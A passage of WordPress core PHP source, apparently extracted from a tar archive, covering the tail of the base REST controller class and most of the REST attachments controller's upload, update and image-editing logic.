	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Updates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to delete a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Deletes one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares one item for create or update operation.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object|WP_Error The prepared item, or WP_Error object on failure.
	 */
	protected function prepare_item_for_database( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $item    WordPress representation of the item.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares a response for insertion into a collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Response $response Response object.
	 * @return array|mixed Response data, ready for insertion into collection data.
	 */
	public function prepare_response_for_collection( $response ) {
		if ( ! ( $response instanceof WP_REST_Response ) ) {
			return $response;
		}

		$data   = (array) $response->get_data();
		$server = rest_get_server();
		$links  = $server::get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			$data['_links'] = $links;
		}

		return $data;
	}

	/**
	 * Filters a response based on the context defined in the schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $response_data Response data to filter.
	 * @param string $context       Context defined in the schema.
	 * @return array Filtered response.
	 */
	public function filter_response_by_context( $response_data, $context ) {

		$schema = $this->get_item_schema();

		return rest_filter_response_by_context( $response_data, $schema, $context );
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		return $this->add_additional_fields_schema( array() );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 4.7.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties'] ) ) {
			foreach ( $schema['properties'] as &$property ) {
				unset( $property['arg_options'] );
			}
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		return array(
			'context'  => $this->get_context_param(),
			'page'     => array(
				'description'       => __( 'Current page of the collection.' ),
				'type'              => 'integer',
				'default'           => 1,
				'sanitize_callback' => 'absint',
				'validate_callback' => 'rest_validate_request_arg',
				'minimum'           => 1,
			),
			'per_page' => array(
				'description'       => __( 'Maximum number of items to be returned in result set.' ),
				'type'              => 'integer',
				'default'           => 10,
				'minimum'           => 1,
				'maximum'           => 100,
				'sanitize_callback' => 'absint',
				'validate_callback' => 'rest_validate_request_arg',
			),
			'search'   => array(
				'description'       => __( 'Limit results to those matching a string.' ),
				'type'              => 'string',
				'sanitize_callback' => 'sanitize_text_field',
				'validate_callback' => 'rest_validate_request_arg',
			),
		);
	}

	/**
	 * Retrieves the magical context param.
	 *
	 * Ensures consistent descriptions between endpoints, and populates enum from schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $args Optional. Additional arguments for context parameter. Default empty array.
	 * @return array Context parameter details.
	 */
	public function get_context_param( $args = array() ) {
		$param_details = array(
			'description'       => __( 'Scope under which the request is made; determines fields present in response.' ),
			'type'              => 'string',
			'sanitize_callback' => 'sanitize_key',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$schema = $this->get_item_schema();

		if ( empty( $schema['properties'] ) ) {
			return array_merge( $param_details, $args );
		}

		$contexts = array();

		foreach ( $schema['properties'] as $attributes ) {
			if ( ! empty( $attributes['context'] ) ) {
				$contexts = array_merge( $contexts, $attributes['context'] );
			}
		}

		if ( ! empty( $contexts ) ) {
			$param_details['enum'] = array_unique( $contexts );
			rsort( $param_details['enum'] );
		}

		return array_merge( $param_details, $args );
	}

	/**
	 * Adds the values from additional fields to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $response_data Prepared response array.
	 * @param WP_REST_Request $request       Full details about the request.
	 * @return array Modified data object with additional fields.
	 */
	protected function add_additional_fields_to_object( $response_data, $request ) {

		$additional_fields = $this->get_additional_fields();

		$requested_fields = $this->get_fields_for_response( $request );

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['get_callback'] ) {
				continue;
			}

			if ( ! rest_is_field_included( $field_name, $requested_fields ) ) {
				continue;
			}

			$response_data[ $field_name ] = call_user_func(
				$field_options['get_callback'],
				$response_data,
				$field_name,
				$request,
				$this->get_object_type()
			);
		}

		return $response_data;
	}

	/**
	 * Updates the values of additional fields added to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param object          $data_object Data model like WP_Term or WP_Post.
	 * @param WP_REST_Request $request     Full details about the request.
	 * @return true|WP_Error True on success, WP_Error object if a field cannot be updated.
	 */
	protected function update_additional_fields_for_object( $data_object, $request ) {
		$additional_fields = $this->get_additional_fields();

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['update_callback'] ) {
				continue;
			}

			// Don't run the update callbacks if the data wasn't passed in the request.
			if ( ! isset( $request[ $field_name ] ) ) {
				continue;
			}

			$result = call_user_func(
				$field_options['update_callback'],
				$request[ $field_name ],
				$data_object,
				$field_name,
				$request,
				$this->get_object_type()
			);

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return true;
	}

	/**
	 * Adds the schema from additional fields to a schema array.
	 *
	 * The type of object is inferred from the passed schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $schema Schema array.
	 * @return array Modified Schema array.
	 */
	protected function add_additional_fields_schema( $schema ) {
		if ( empty( $schema['title'] ) ) {
			return $schema;
		}

		// Can't use $this->get_object_type otherwise we cause an inf loop.
		$object_type = $schema['title'];

		$additional_fields = $this->get_additional_fields( $object_type );

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['schema'] ) {
				continue;
			}

			$schema['properties'][ $field_name ] = $field_options['schema'];
		}

		return $schema;
	}

	/**
	 * Retrieves all of the registered additional fields for a given object-type.
	 *
	 * @since 4.7.0
	 *
	 * @global array $wp_rest_additional_fields Holds registered fields, organized by object type.
	 *
	 * @param string $object_type Optional. The object type.
	 * @return array Registered additional fields (if any), empty array if none or if the object type
	 *               could not be inferred.
	 */
	protected function get_additional_fields( $object_type = null ) {
		global $wp_rest_additional_fields;

		if ( ! $object_type ) {
			$object_type = $this->get_object_type();
		}

		if ( ! $object_type ) {
			return array();
		}

		if ( ! $wp_rest_additional_fields || ! isset( $wp_rest_additional_fields[ $object_type ] ) ) {
			return array();
		}

		return $wp_rest_additional_fields[ $object_type ];
	}

	/**
	 * Retrieves the object type this controller is responsible for managing.
	 *
	 * @since 4.7.0
	 *
	 * @return string Object type for the controller.
	 */
	protected function get_object_type() {
		$schema = $this->get_item_schema();

		if ( ! $schema || ! isset( $schema['title'] ) ) {
			return null;
		}

		return $schema['title'];
	}

	/**
	 * Gets an array of fields to be included on the response.
	 *
	 * Included fields are based on item schema and `_fields=` request argument.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return string[] Fields to be included in the response.
	 */
	public function get_fields_for_response( $request ) {
		$schema     = $this->get_item_schema();
		$properties = isset( $schema['properties'] ) ? $schema['properties'] : array();

		$additional_fields = $this->get_additional_fields();

		foreach ( $additional_fields as $field_name => $field_options ) {
			/*
			 * For back-compat, include any field with an empty schema
			 * because it won't be present in $this->get_item_schema().
			 */
			if ( is_null( $field_options['schema'] ) ) {
				$properties[ $field_name ] = $field_options;
			}
		}

		// Exclude fields that specify a different context than the request context.
		$context = $request['context'];
		if ( $context ) {
			foreach ( $properties as $name => $options ) {
				if ( ! empty( $options['context'] ) && ! in_array( $context, $options['context'], true ) ) {
					unset( $properties[ $name ] );
				}
			}
		}

		$fields = array_keys( $properties );

		/*
		 * '_links' and '_embedded' are not typically part of the item schema,
		 * but they can be specified in '_fields', so they are added here as a
		 * convenience for checking with rest_is_field_included().
		 */
		$fields[] = '_links';
		if ( $request->has_param( '_embed' ) ) {
			$fields[] = '_embedded';
		}

		$fields = array_unique( $fields );

		if ( ! isset( $request['_fields'] ) ) {
			return $fields;
		}
		$requested_fields = wp_parse_list( $request['_fields'] );
		if ( 0 === count( $requested_fields ) ) {
			return $fields;
		}
		// Trim off outside whitespace from the comma delimited list.
		$requested_fields = array_map( 'trim', $requested_fields );
		// Always persist 'id', because it can be needed for add_additional_fields_to_object().
		if ( in_array( 'id', $fields, true ) ) {
			$requested_fields[] = 'id';
		}
		// Return the list of all requested fields which appear in the schema.
		return array_reduce(
			$requested_fields,
			static function ( $response_fields, $field ) use ( $fields ) {
				if ( in_array( $field, $fields, true ) ) {
					$response_fields[] = $field;
					return $response_fields;
				}
				// Check for nested fields if $field is not a direct match.
				$nested_fields = explode( '.', $field );
				/*
				 * A nested field is included so long as its top-level property
				 * is present in the schema.
				 */
				if ( in_array( $nested_fields[0], $fields, true ) ) {
					$response_fields[] = $field;
				}
				return $response_fields;
			},
			array()
		);
	}

	/**
	 * Retrieves an array of endpoint arguments from the item schema for the controller.
	 *
	 * @since 4.7.0
	 *
	 * @param string $method Optional. HTTP method of the request. The arguments for `CREATABLE` requests are
	 *                       checked for required values and may fall-back to a given default, this is not done
	 *                       on `EDITABLE` requests. Default WP_REST_Server::CREATABLE.
	 * @return array Endpoint arguments.
	 */
	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {
		return rest_get_endpoint_args_for_schema( $this->get_item_schema(), $method );
	}

	/**
	 * Sanitizes the slug value.
	 *
	 * @since 4.7.0
	 *
	 * @internal We can't use sanitize_title() directly, as the second
	 * parameter is the fallback title, which would end up being set to the
	 * request object.
	 *
	 * @see https://github.com/WP-API/WP-API/issues/1585
	 *
	 * @todo Remove this in favour of https://core.trac.wordpress.org/ticket/34659
	 *
	 * @param string $slug Slug value passed in request.
	 * @return string Sanitized value for the slug.
	 */
	public function sanitize_slug( $slug ) {
		return sanitize_title( $slug );
	}
}
endpoints/class-wp-rest-attachments-controller.php000064400000137563151724720270016504 0ustar00<?php
/**
 * REST API: WP_REST_Attachments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access attachments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Posts_Controller
 */
class WP_REST_Attachments_Controller extends WP_REST_Posts_Controller {

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Registers the routes for attachments.
	 *
	 * @since 5.3.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		parent::register_routes();
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)/post-process',
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'post_process_item' ),
				'permission_callback' => array( $this, 'post_process_item_permissions_check' ),
				'args'                => array(
					'id'     => array(
						'description' => __( 'Unique identifier for the attachment.' ),
						'type'        => 'integer',
					),
					'action' => array(
						'type'     => 'string',
						'enum'     => array( 'create-image-subsizes' ),
						'required' => true,
					),
				),
			)
		);
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)/edit',
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'edit_media_item' ),
				'permission_callback' => array( $this, 'edit_media_item_permissions_check' ),
				'args'                => $this->get_edit_media_item_args(),
			)
		);
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and
	 * prepares for WP_Query.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $prepared_args Optional. Array of prepared arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Request to prepare items for.
	 * @return array Array of query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = parent::prepare_items_query( $prepared_args, $request );

		if ( empty( $query_args['post_status'] ) ) {
			$query_args['post_status'] = 'inherit';
		}

		$media_types = $this->get_media_types();

		if ( ! empty( $request['media_type'] ) && isset( $media_types[ $request['media_type'] ] ) ) {
			$query_args['post_mime_type'] = $media_types[ $request['media_type'] ];
		}

		if ( ! empty( $request['mime_type'] ) ) {
			$parts = explode( '/', $request['mime_type'] );
			if ( isset( $media_types[ $parts[0] ] ) && in_array( $request['mime_type'], $media_types[ $parts[0] ], true ) ) {
				$query_args['post_mime_type'] = $request['mime_type'];
			}
		}

		// Filter query clauses to include filenames.
		if ( isset( $query_args['s'] ) ) {
			add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
		}

		return $query_args;
	}

	/**
	 * Checks if a given request has access to create an attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error Boolean true if the attachment may be created, or a WP_Error if not.
	 */
	public function create_item_permissions_check( $request ) {
		$ret = parent::create_item_permissions_check( $request );

		if ( ! $ret || is_wp_error( $ret ) ) {
			return $ret;
		}

		if ( ! current_user_can( 'upload_files' ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to upload media on this site.' ),
				array( 'status' => 400 )
			);
		}

		// Attaching media to a post requires ability to edit said post.
		if ( ! empty( $request['post'] ) && ! current_user_can( 'edit_post', (int) $request['post'] ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to upload media to this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}
		$files = $request->get_file_params();

		/**
		 * Filter whether the server should prevent uploads for image types it doesn't support. Default true.
		 *
		 * Developers can use this filter to enable uploads of certain image types. By default image types that are not
		 * supported by the server are prevented from being uploaded.
		 *
		 * @since 6.8.0
		 *
		 * @param bool        $check_mime Whether to prevent uploads of unsupported image types.
		 * @param string|null $mime_type  The mime type of the file being uploaded (if available).
		 */
		$prevent_unsupported_uploads = apply_filters( 'wp_prevent_unsupported_mime_type_uploads', true, isset( $files['file']['type'] ) ? $files['file']['type'] : null );

		// If the upload is an image, check if the server can handle the mime type.
		if (
			$prevent_unsupported_uploads &&
			isset( $files['file']['type'] ) &&
			str_starts_with( $files['file']['type'], 'image/' )
		) {
			// List of non-resizable image formats.
			$editor_non_resizable_formats = array(
				'image/svg+xml',
			);

			// Check if the image editor supports the type or ignore if it isn't a format resizable by an editor.
			if (
				! in_array( $files['file']['type'], $editor_non_resizable_formats, true ) &&
				! wp_image_editor_supports( array( 'mime_type' => $files['file']['type'] ) )
			) {
				return new WP_Error(
					'rest_upload_image_type_not_supported',
					__( 'The web server cannot generate responsive image sizes for this image. Convert it to JPEG or PNG before uploading.' ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Creates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'Invalid parent type.' ),
				array( 'status' => 400 )
			);
		}

		$insert = $this->insert_attachment( $request );

		if ( is_wp_error( $insert ) ) {
			return $insert;
		}

		$schema = $this->get_item_schema();

		// Extract by name.
		$attachment_id = $insert['attachment_id'];
		$file          = $insert['file'];

		if ( isset( $request['alt_text'] ) ) {
			update_post_meta( $attachment_id, '_wp_attachment_image_alt', sanitize_text_field( $request['alt_text'] ) );
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment_id );

			if ( is_wp_error( $thumbnail_update ) ) {
				return $thumbnail_update;
			}
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $attachment_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$attachment    = get_post( $attachment_id );
		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$terms_update = $this->handle_terms( $attachment_id, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single attachment is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment object.
		 * @param WP_REST_Request $request    Request object.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( 'rest_after_insert_attachment', $attachment, $request, true );

		wp_after_insert_post( $attachment, false, null );

		if ( wp_is_serving_rest_request() ) {
			/*
			 * Set a custom header with the attachment_id.
			 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
			 */
			header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
		}

		// Include media and image functions to get access to wp_generate_attachment_metadata().
		require_once ABSPATH . 'wp-admin/includes/media.php';
		require_once ABSPATH . 'wp-admin/includes/image.php';

		/*
		 * Post-process the upload (create image sub-sizes, make PDF thumbnails, etc.) and insert attachment meta.
		 * At this point the server may run out of resources and post-processing of uploaded images may fail.
		 */
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );

		$response = $this->prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $attachment_id ) ) );

		return $response;
	}

	/**
	 * Inserts the attachment post in the database. Does not update the attachment meta.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request
	 * @return array|WP_Error
	 */
	protected function insert_attachment( $request ) {
		// Get the file via $_FILES or raw data.
		$files   = $request->get_file_params();
		$headers = $request->get_headers();

		$time = null;

		// Matches logic in media_handle_upload().
		if ( ! empty( $request['post'] ) ) {
			$post = get_post( $request['post'] );
			// The post date doesn't usually matter for pages, so don't backdate this upload.
			if ( $post && 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 ) {
				$time = $post->post_date;
			}
		}

		if ( ! empty( $files ) ) {
			$file = $this->upload_from_file( $files, $headers, $time );
		} else {
			$file = $this->upload_from_data( $request->get_body(), $headers, $time );
		}

		if ( is_wp_error( $file ) ) {
			return $file;
		}

		$name       = wp_basename( $file['file'] );
		$name_parts = pathinfo( $name );
		$name       = trim( substr( $name, 0, -( 1 + strlen( $name_parts['extension'] ) ) ) );

		$url  = $file['url'];
		$type = $file['type'];
		$file = $file['file'];

		// Include image functions to get access to wp_read_image_metadata().
		require_once ABSPATH . 'wp-admin/includes/image.php';

		// Use image exif/iptc data for title and caption defaults if possible.
		$image_meta = wp_read_image_metadata( $file );

		if ( ! empty( $image_meta ) ) {
			if ( empty( $request['title'] ) && trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
				$request['title'] = $image_meta['title'];
			}

			if ( empty( $request['caption'] ) && trim( $image_meta['caption'] ) ) {
				$request['caption'] = $image_meta['caption'];
			}
		}

		$attachment = $this->prepare_item_for_database( $request );

		$attachment->post_mime_type = $type;
		$attachment->guid           = $url;

		// If the title was not set, use the original filename.
		if ( empty( $attachment->post_title ) && ! empty( $files['file']['name'] ) ) {
			// Remove the file extension (after the last `.`)
			$tmp_title = substr( $files['file']['name'], 0, strrpos( $files['file']['name'], '.' ) );

			if ( ! empty( $tmp_title ) ) {
				$attachment->post_title = $tmp_title;
			}
		}

		// Fall back to the original approach.
		if ( empty( $attachment->post_title ) ) {
			$attachment->post_title = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) );
		}

		// $post_parent is inherited from $attachment['post_parent'].
		$id = wp_insert_attachment( wp_slash( (array) $attachment ), $file, 0, true, false );

		if ( is_wp_error( $id ) ) {
			if ( 'db_update_error' === $id->get_error_code() ) {
				$id->add_data( array( 'status' => 500 ) );
			} else {
				$id->add_data( array( 'status' => 400 ) );
			}

			return $id;
		}

		$attachment = get_post( $id );

		/**
		 * Fires after a single attachment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment object.
		 * @param WP_REST_Request $request    The request sent to the API.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( 'rest_insert_attachment', $attachment, $request, true );

		return array(
			'attachment_id' => $id,
			'file'          => $file,
		);
	}

	/**
	 * Determines the featured media based on a request param.
	 *
	 * @since 6.5.0
	 *
	 * @param int $featured_media Featured Media ID.
	 * @param int $post_id        Post ID.
	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
	 */
	protected function handle_featured_media( $featured_media, $post_id ) {
		$post_type         = get_post_type( $post_id );
		$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );

		// Similar check as in wp_insert_post().
		if ( ! $thumbnail_support && get_post_mime_type( $post_id ) ) {
			if ( wp_attachment_is( 'audio', $post_id ) ) {
				$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
			} elseif ( wp_attachment_is( 'video', $post_id ) ) {
				$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
			}
		}

		if ( $thumbnail_support ) {
			return parent::handle_featured_media( $featured_media, $post_id );
		}

		return new WP_Error(
			'rest_no_featured_media',
			sprintf(
				/* translators: %s: attachment mime type */
				__( 'This site does not support post thumbnails on attachments with MIME type %s.' ),
				get_post_mime_type( $post_id )
			),
			array( 'status' => 400 )
		);
	}

	/**
	 * Updates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function update_item( $request ) {
		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'Invalid parent type.' ),
				array( 'status' => 400 )
			);
		}

		$attachment_before = get_post( $request['id'] );
		$response          = parent::update_item( $request );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response = rest_ensure_response( $response );
		$data     = $response->get_data();

		if ( isset( $request['alt_text'] ) ) {
			update_post_meta( $data['id'], '_wp_attachment_image_alt', $request['alt_text'] );
		}

		$attachment = get_post( $request['id'] );

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment->ID );

			if ( is_wp_error( $thumbnail_update ) ) {
				return $thumbnail_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */
		do_action( 'rest_after_insert_attachment', $attachment, $request, false );

		wp_after_insert_post( $attachment, true, $attachment_before );

		$response = $this->prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Performs post-processing on an attachment.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function post_process_item( $request ) {
		switch ( $request['action'] ) {
			case 'create-image-subsizes':
				require_once ABSPATH . 'wp-admin/includes/image.php';
				wp_update_image_subsizes( $request['id'] );
				break;
		}

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( get_post( $request['id'] ), $request );
	}

	/**
	 * Checks if a given request can perform post-processing on an attachment.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function post_process_item_permissions_check( $request ) {
		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Checks if a given request has access to editing media.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function edit_media_item_permissions_check( $request ) {
		if ( ! current_user_can( 'upload_files' ) ) {
			return new WP_Error(
				'rest_cannot_edit_image',
				__( 'Sorry, you are not allowed to upload media on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Applies edits to a media item and creates a new attachment record.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function edit_media_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/image.php';

		$attachment_id = $request['id'];

		// This also confirms the attachment is an image.
		$image_file = wp_get_original_image_path( $attachment_id );
		$image_meta = wp_get_attachment_metadata( $attachment_id );

		if (
			! $image_meta ||
			! $image_file ||
			! wp_image_file_matches_image_meta( $request['src'], $image_meta, $attachment_id )
		) {
			return new WP_Error(
				'rest_unknown_attachment',
				__( 'Unable to get meta information for file.' ),
				array( 'status' => 404 )
			);
		}

		$supported_types = array( 'image/jpeg', 'image/png', 'image/gif', 'image/webp', 'image/avif', 'image/heic' );
		$mime_type       = get_post_mime_type( $attachment_id );
		if ( ! in_array( $mime_type, $supported_types, true ) ) {
			return new WP_Error(
				'rest_cannot_edit_file_type',
				__( 'This type of file cannot be edited.' ),
				array( 'status' => 400 )
			);
		}

		// The `modifiers` param takes precedence over the older format.
		if ( isset( $request['modifiers'] ) ) {
			$modifiers = $request['modifiers'];
		} else {
			$modifiers = array();

			if ( ! empty( $request['rotation'] ) ) {
				$modifiers[] = array(
					'type' => 'rotate',
					'args' => array(
						'angle' => $request['rotation'],
					),
				);
			}

			if ( isset( $request['x'], $request['y'], $request['width'], $request['height'] ) ) {
				$modifiers[] = array(
					'type' => 'crop',
					'args' => array(
						'left'   => $request['x'],
						'top'    => $request['y'],
						'width'  => $request['width'],
						'height' => $request['height'],
					),
				);
			}

			if ( 0 === count( $modifiers ) ) {
				return new WP_Error(
					'rest_image_not_edited',
					__( 'The image was not edited. Edit the image before applying the changes.' ),
					array( 'status' => 400 )
				);
			}
		}

		/*
		 * If the file doesn't exist, attempt a URL fopen on the src link.
		 * This can occur with certain file replication plugins.
		 * Keep the original file path to get a modified name later.
		 */
		$image_file_to_edit = $image_file;
		if ( ! file_exists( $image_file_to_edit ) ) {
			$image_file_to_edit = _load_image_to_edit_path( $attachment_id );
		}

		$image_editor = wp_get_image_editor( $image_file_to_edit );

		if ( is_wp_error( $image_editor ) ) {
			return new WP_Error(
				'rest_unknown_image_file_type',
				__( 'Unable to edit this image.' ),
				array( 'status' => 500 )
			);
		}

		foreach ( $modifiers as $modifier ) {
			$args = $modifier['args'];
			switch ( $modifier['type'] ) {
				case 'rotate':
					// Rotation direction: clockwise vs. counterclockwise.
					$rotate = 0 - $args['angle'];

					if ( 0 !== $rotate ) {
						$result = $image_editor->rotate( $rotate );

						if ( is_wp_error( $result ) ) {
							return new WP_Error(
								'rest_image_rotation_failed',
								__( 'Unable to rotate this image.' ),
								array( 'status' => 500 )
							);
						}
					}

					break;

				case 'crop':
					$size = $image_editor->get_size();

					$crop_x = (int) round( ( $size['width'] * $args['left'] ) / 100.0 );
					$crop_y = (int) round( ( $size['height'] * $args['top'] ) / 100.0 );
					$width  = (int) round( ( $size['width'] * $args['width'] ) / 100.0 );
					$height = (int) round( ( $size['height'] * $args['height'] ) / 100.0 );

					if ( $size['width'] !== $width || $size['height'] !== $height ) {
						$result = $image_editor->crop( $crop_x, $crop_y, $width, $height );

						if ( is_wp_error( $result ) ) {
							return new WP_Error(
								'rest_image_crop_failed',
								__( 'Unable to crop this image.' ),
								array( 'status' => 500 )
							);
						}
					}

					break;

			}
		}

		// Calculate the file name.
